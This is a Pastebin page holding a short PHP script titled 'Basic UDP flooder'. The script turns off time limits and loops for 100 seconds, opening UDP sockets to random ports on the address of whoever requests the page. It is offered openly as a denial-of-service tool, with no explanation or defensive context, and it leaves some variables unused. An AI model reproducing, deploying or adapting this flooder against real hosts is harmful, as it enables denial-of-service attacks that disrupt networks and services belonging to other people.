MLT

PHP - Basic UDP flooder

MLT
Nov 10th, 2013
424
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.42 KB | None | 0 0
  1. <?php
  2. $ip = '127.0.0.1';
  3. $duration = '180';
  4. $packets = 0;
  5.  
  6. ignore_user_abort(TRUE);
  7. set_time_limit(0);
  8.  
  9. $exec_time = '100';
  10. $time = time();
  11. $max_time = $time+$exec_time;
  12. $host = $_SERVER['REMOTE_ADDR'];
  13.  
  14. while(1)
  15.  
  16. {
  17.  
  18. $packets++;
  19. if(time() > $max_time){
  20.  
  21. break;
  22.                   }
  23. $rand = rand(1,65000);
  24. $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
  25.  
  26. if($fp)
  27.  
  28. {
  29.  
  30. fclose($fp);
  31.  
  32.  
  33.     }
  34. }
Advertisement
Comments
  • Comment was deleted
Add Comment
Please, Sign In to add comment